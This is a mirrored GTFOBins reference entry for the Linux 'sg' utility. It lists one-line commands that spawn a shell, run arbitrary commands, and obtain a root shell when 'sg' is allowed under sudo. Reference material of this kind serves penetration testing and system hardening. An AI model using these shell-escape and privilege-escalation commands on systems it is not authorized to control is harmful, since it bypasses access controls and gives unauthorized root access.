1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/sg.md

20 lines
637 B
Markdown
Raw Normal View History

---
functions:
2021-02-16 04:57:15 +01:00
shell:
- description: Commands can be run if the current user's group is specified, therefore no additional permissions are needed.
code: |
GROUPNAME=users
sg $GROUPNAME -c "/bin/sh"
command:
- description: Commands can be run if the current user's group is specified, therefore no additional permissions are needed.
code: |
2021-02-16 04:57:15 +01:00
COMMAND=whoami
GROUPNAME=users
sg $GROUPNAME -c $COMMAND
sudo:
- description: Any group can be specified as the user will have root permissions.
code: |
GROUPNAME=users
sudo sg $GROUPNAME -c "/bin/sh"
---